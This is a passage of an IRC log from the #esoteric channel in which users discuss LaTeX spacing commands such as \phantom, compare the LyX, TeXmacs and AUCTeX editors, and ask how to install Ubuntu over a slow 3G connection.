was being really slow, for some reason < 1268146542 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the DNS server in particular; I'm not sure if that's deliberate or not, but I changed the DNS to level3's < 1268146719 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fop < 1268146754 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fop? < 1268146803 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : alise: planned Feather syntax is [ x | f x ] <-- yay Feather! < 1268146825 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I thought you only had one line of scrollback? or did alise invent that? < 1268146845 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, it's from the esoteric false rumours file < 1268146849 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :didn't you know? < 1268146860 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :haha, #esoteric so needs a rumors.tru and rumors.fal < 1268146861 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: he read the logs < 1268146866 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not scrollback < 1268146879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I read highlights and their context in logs < 1268146879 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rumors.tru: alise is a girl pretending to be a man pretending to be a girl. < 1268146886 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :latex genii: how do i make an invisible char the same width as another given char? < 1268146888 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :rumors.fal: #esoteric's logs come from sustainable forest < 1268146898 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, I'll look it up < 1268146906 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I know it's possible, and where to find out how, but not the actual command < 1268146918 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, \hphantom? < 1268146923 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rumors.mu: This rumour is false. < 1268146928 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: that sounds right, yes < 1268146934 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what? < 1268146936 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hphantom, I think ,yes < 1268146939 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*think, yes < 1268146941 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268146942 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :even works in TeXmacs < 1268146946 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is horizontal < 1268146952 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there is a vertical version too iirc < 1268146961 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: gah, but it seems to treat it as not italic < 1268146963 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :or just \phantom generally < 1268146964 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and possible one that does both vertical and horizontal (not sure about that) < 1268146967 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what? < 1268146974 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :very, very subtle spacing issues < 1268146983 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: you could italicise inside the \phantom, or doesn't that work? < 1268146995 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, did I mention I put a -6 em vertical spacer at the top of a minipage yesteday? < 1268147001 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes a negative one < 1268147006 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no, or at least not to me < 1268147040 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :nope, it's still too long < 1268147050 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, needed two mini pages side by side, one contained a display style formula, which some tests showed was responsible for causing it to be put below the other mini box < 1268147051 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm trying to make _! look the same as the n! in the definition < 1268147052 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :_! : ... < 1268147053 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :n! = ... < 1268147064 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so I'm doing \underline{\phantom{n}}, but the first line is too long < 1268147066 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so I had to move it up using negative spacer < 1268147081 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: oh, try \phantom{$n$} < 1268147086 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's a math n, not an italic n, presumably < 1268147120 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, err? does phantom inside math mode exit math mode? < 1268147146 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I don't actually know; is it a math mode command, though? < 1268147176 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I think it works in either < 1268147223 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, and since I normally use LyX, and LyX has support for phantoms without needing "insert tex code" it may abstract such things away < 1268147225 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, apparently so < 1268147268 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: maybe it's a kerning issue? I can sort-of imagine that \phantom would block kerning, and some typefaces will attempt to kern together any two italic characters < 1268147374 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what exactly is alise trying to do? < 1268147404 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, I saw what he said, but he didn't say what part of it should align < 1268147407 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: ! isn't italic < 1268147411 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : _! : ... < 1268147411 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : n! = ... < 1268147413 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: < 1268147414 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1268147415 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :_! : ... < 1268147417 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :n! = ... < 1268147422 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :_ and n should have same width < 1268147422 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, if you want those to align on the : and = ? < 1268147425 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i.e., ! and ! should align < 1268147426 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268147430 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no, I already handle that < 1268147449 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I was about to suggest eqnarray environment or something < 1268147457 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah, doing that < 1268147468 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, also since n and _ are not in monospace there I assume? < 1268147481 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then it might be hard to make them equal width < 1268147506 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :they're not < 1268147509 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :they're italicy variably thingy < 1268147519 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: why are you even suggesting monospace for a TeX-typeset document? < 1268147522 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's not an actual _ character < 1268147526 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in the tex < 1268147527 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I'm not < 1268147528 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i'm trying < 1268147532 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\underline{\phantom{n}} < 1268147537 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but that's wider than n, somehow < 1268147540 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :perhaps the underline has padding < 1268147542 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268147558 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, perhaps, why not add a negative spacer in there to compensate! < 1268147567 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: because that is missing the point of TeX < 1268147585 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, LyX goes out of its way to make it hard to make semantically incorrect documents, but it seems that people still manage somehow < 1268147597 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: because i'd have to get it totally exact < 1268147610 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I would quote fizzie from yesterday on that, but I'm too lazy to grep the log file < 1268147614 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268147619 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, wrt. negative spacers and latex that is < 1268147639 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :even positive spacers are normally semantically incorrect < 1268147643 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, also I have used mono space in a LaTeX document, for a code listing < 1268147651 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, this is texmacs; so almost identical but slightly different typesetting algo < 1268147656 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that is the only case I can think of < 1268147657 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i imagine it's the same in tex thogh < 1268147659 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*though < 1268147673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why not LyX btw? < 1268147686 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(/me remembers the Wikipedia advice to use positive space and negative space that cancel each other out to prevent LaTeX math rendering as HTML, and force it to render as an image, even if people have set their preferences to render as HTML) < 1268147705 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: because sometimes, it's faster not to use an IDE < 1268147710 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :whether for programming, or for typesetting < 1268147718 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, he said texmacs, not emacs < 1268147733 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and texmacs has the same idea as lyx basically < 1268147765 0 :alise_!~d4b78c25@gateway/web/freenode/x-trwpbpmdrntkwnir JOIN :#esoteric < 1268147771 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: because lyx is harder to use < 1268147776 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :however, my impressions of TeXmacs last I tried it were: sluggish user interface, blurry font rendering when editing (this might have been a fontconfig issue, I don't know), buggy import from LaTeX (this might not matter so much), much fewer features than LyX or similar < 1268147777 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Someone paste the last few lines to me < 1268147777 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :got disconnected < 1268147786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : (/me remembers the Wikipedia advice to use positive space and negative space that cancel each other out to prevent LaTeX math rendering as HTML, and force it to render as an image, even if people have set their preferences to render as HTML) < 1268147786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : AnMaster: because sometimes, it's faster not to use an IDE < 1268147786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : whether for programming, or for typesetting < 1268147786 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : ais523, he said texmacs, not emacs < 1268147787 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : and texmacs has the same idea as lyx basically < 1268147804 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, the line above that was where I asked "why not lyx" < 1268147810 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(and you answered that) < 1268147823 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :The interface is not really sluggish for me, your display sucks, I don't care about LaTeX import, and LyX is a pain to use < 1268147823 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, I never found LyX hard to use once you learnt it < 1268147834 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :It looks exactly like .ps TeX output to me < 1268147836 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :further, I found it well worth the time it took to learn LyX < 1268147861 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : The interface is not really sluggish for me, your display sucks, I don't care about LaTeX import, and LyX is a pain to use <-- I said last I tried it, which might have been a year or two ago < 1268147881 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :in LyX: click click click click click click click click < 1268147895 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, no? there are keyboard shortcuts for everything in LyX reallyt < 1268147897 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :really* < 1268147907 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and it shows them in the status bar when you select a command < 1268147909 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :right/center/left aligned eqnarray in the middle of the doc in texmacs: M-& < 1268147920 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268147931 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Go on then, what is the shortcut? < 1268147954 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, Ctrl-M, Alt-M T E < 1268147967 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, I had to look up the latter, because I very rarely use it < 1268147975 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the former, "insert math formula" is ctrl-m < 1268147976 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the leading control-M isn't needed for alt-M shortcuts < 1268147978 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I know that < 1268147990 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's harmless to give it, but you can omit it as an abbreviation < 1268147991 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, oh? well, since I so rarely use eqnarray < 1268148002 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I haven't bothered learning that one < 1268148007 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :whoa, flood < 1268148009 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :everything after what-is-the-shortcut took ages < 1268148009 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, ? < 1268148016 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1268148019 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: : he's lagging < 1268148023 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1268148039 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and that second : was a tab-complete fail, assume it's a stray newt or something < 1268148041 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I'm not going to be like ehird and complain about other people lagging :P < 1268148041 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Alt-M T E. Well, may be acceptable. < 1268148042 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :LyX has a windows binary, right? < 1268148059 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, XD < 1268148065 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, iirc yes < 1268148104 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, lyx tends to have somewhat emacs-y key bindings for some things, but you can configure that somewhere iirc < 1268148143 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of course, if you haven't yet gotten used to lyx, keyboard shortcuts won't help you, it *does* take a while to learn < 1268148191 0 :alise!~d4b78c25@gateway/web/freenode/x-xqbaislcgzqjcbwk JOIN :#esoteric < 1268148198 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I'll try LyX next time, then. < 1268148212 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I really ought to name my language someyear. < 1268148214 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise_, but yes you can always look at the status bar after clicking almost any button to see what the command is to insert that. And you can type \LaTeX commands directly in math mode (lyx will try to display it WYSIWYW style if it knows the latex command in question) < 1268148257 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :interestingly opening preferences in lyx shows (dialog-show prefs) < 1268148273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I wasn't aware lyx used anything lispish internally < 1268148286 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you mean WYSIWYM? < 1268148296 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, ah yeah, thought it was "want" < 1268148297 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it uses sexp notation for commands, I think < 1268148299 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right "meant" < 1268148302 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*WYSIWYG. WYSIWY[WM] is a lie. < 1268148316 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268148329 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: it's not pure WYSIWYG; for instance it shows nonstandard-width spaces with blue underscores with ticks on the end, rather than as blank space < 1268148330 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well, lyx is not WYSIWYG, because it shows it in a screen friendly font rather than exactly what it will look like < 1268148336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(for example) < 1268148347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and what ais523 said < 1268148358 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, it typesets relatively terribly, about as well as Word < 1268148359 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What you see is not even what you get. < 1268148363 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :plus floats are shown as boxes with a thingy saying it is a float at the top < 1268148365 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(although TeX typesets the finished product) < 1268148368 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what does? lyx? < 1268148372 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well maybe < 1268148374 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes, I mean onscreen < 1268148377 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Oh snap. < 1268148400 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, it can be set to instant preview math formulas though < 1268148415 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :when you leave the equation it will render it, takes a split second < 1268148425 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not on by default iirc < 1268148428 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: so can auctex for emacs (that mode is a work of art, btw) < 1268148433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(possibly the nicest typesetting environment ever created) < 1268148437 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268148442 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why aren't you using that then? < 1268148462 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because i can't be arsed to set up latex. and i don't really want to write a document template every time I want to ogle at how pretty my language is < 1268148472 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :speaking of can't be arsed to set things up on windows, < 1268148477 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :How should I install Ubuntu given that all I have is a costly 3G stick connection? < 1268148484 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ship-It is not an option. < 1268148490 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well, lyx would need latex installed somewhere it can run it < 1268148501 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Oh. TeXmacs is self-contained. < 1268148515 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(It isn't actualy TeX. Or Emacs.) < 1268148516 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, perhaps the lyx windows installer includes latex? < 1268148517 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*actually < 1268148580 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: put it this way: alise has tools that work, why would you force him onto different tools even if those also work? < 1268148582 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.gnu.org/software/auctex/img/preview-screenshot.png ;; yum < 1268148582 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I always use pdftex, it renders nicely and you can add a command to the document preamble so it does fancy microtyping with visually straight margins and what not < 1268148587 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I didn't < 1268148595 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :he is free to choose < 1268148607 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Well, I'll certainly try LyX now. < 1268148628 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I've used it; it seems to be decent enough for what it does, but has a few annoyances < 1268148635 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, such as? < 1268148637 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :such as no easy way to type the prime character, as in a' < 1268148647 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, eh? in math mode? < 1268148652 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yes < 1268148654 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pressing ' doesn't work < 1268148673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, it renders as a primelooking one in the instant preview for me < 1268148674 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you have to do M-m e M-m ' < 1268148685 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: oh, but as a plain quote in the ordinary window? < 1268148689 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :how... ridiculous < 1268148694 0 :alise_!~d4b78c25@gateway/web/freenode/x-jkkymkgoynwcctyq JOIN :#esoteric < 1268148699 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Last 30 lines or so? < 1268148701 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because there is a way to do a superscripted prime that renders as one in LyX < 1268148703 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, seems so < 1268148705 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise_: I'll pastebin < 1268148708 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :Not just since my last utterance; I probably missed things. < 1268148725 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is clog broken? < 1268148749 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ugh, sorry, this internet's being insanely slow today for some reason < 1268148756 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, this connection < 1268148757 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well, they *could* be different, but to me they look pixel identical. But yes when editing they look different < 1268148769 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :http://pastebin.ca/1830126 < 1268148774 0 :alise_!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: No, but that's /two/ page loads, and this connection is... well... < 1268148782 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, this mouse is doing so badly I even just used control-C control-V to paste < 1268148789 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, you could also type \prime < 1268148793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which might be faster < 1268148795 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :umm, http://pastebin.ca/raw/1830126 for convenience < 1268148803 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: wouldn't you have to unescape the \ < 1268148812 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I thought \ means \ (as in, $backslash$) in LyX < 1268148817 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and it only did formatting if you told it to < 1268148817 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, ? In math mode it doesn't < 1268148825 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ok, that's just silly < 1268148830 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, it shows auto completion for \commands in math mode even < 1268148832 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :very nice < 1268148841 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :especially as there's a perfectly sensible shortcut for command-introducer \ < 1268148846 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although I forget what it is, offhand < 1268148849 0 :alise__!~d4b78c25@gateway/web/freenode/x-xzwbxfcqbiswepdx JOIN :#esoteric < 1268148856 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, you mean insert a tex box? < 1268148861 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, but looking at the view source I see: $ $$p^{\prime}'$ < 1268148866 0 :alise!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268148868 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :So, 22.[15:27] How should I install Ubuntu given that all I have is a costly 3G stick connection? < 1268148869 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but yes, that renders as two prime symbols < 1268148871 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as far as I can tell < 1268148891 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise__: I'm not sure that you easily can < 1268148912 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :do you live near enough to someone with a stock of them to just ask them for one? < 1268148918 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :um, stock of CDs < 1268148919 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: does lyx let me write Aa(a->a) and get {forall} {greek a} ({greek a} {right arrow} {greek a})? < 1268148920 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :alise__: :( < 1268148921 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, anyway typing ^\prime was faster than the key combo you suggested < 1268148932 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, *tries* < 1268148946 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what would the A do? < 1268148951 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :alise__: No. I could get to Birmingham in some hours, though, and stalk you! < 1268148953 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1268148953 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you're turning me more and more off LyX as time goes on here < 1268148954 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, ^ < 1268148959 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Presumably you have at least one Ubuntu cD. < 1268148962 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise__: nickping fail < 1268148967 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :A gives forall symbol < 1268148970 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise__: two, but they're both rather old versions < 1268148974 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :a gives alpha < 1268148975 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, \for completed the forall symbol here < 1268148984 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: A is faster < 1268148993 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Does a give greek alpha? < 1268148998 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Wow, this is the most confusing maze of nickpings ever. < 1268149009 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, why would it auto complete plain letters? < 1268149009 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Does -> give right-arrow? < 1268149011 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise__: it's alt-M G a in LyX < 1268149017 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :for the greek a < 1268149019 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :tab isn't autocomplete < 1268149022 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Does -> give right arrow? < 1268149042 0 :alise_!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268149047 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, in math mode? No, but AltGr-i seems to insert the latex one < 1268149062 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :Then LyX is useless to me. < 1268149074 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :I use TeXmacs because it lets me mainly type ASCII-ish stuff and get what I want. < 1268149086 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, well sure, if you don't like the exact key bindings < 1268149087 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :*shrug* < 1268149091 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :NN->NN^+{right arrow key}->a < 1268149094 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :gives < 1268149105 0 :alise__!unknown@unknown.invalid PRIVMSG #esoteric :{blackboard N} {right arrow} {blackboard n with superscript +} {right arrow} {greek alpha} < 1268149106 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise__, does alpha give you a single alphpa? < 1268149108 0 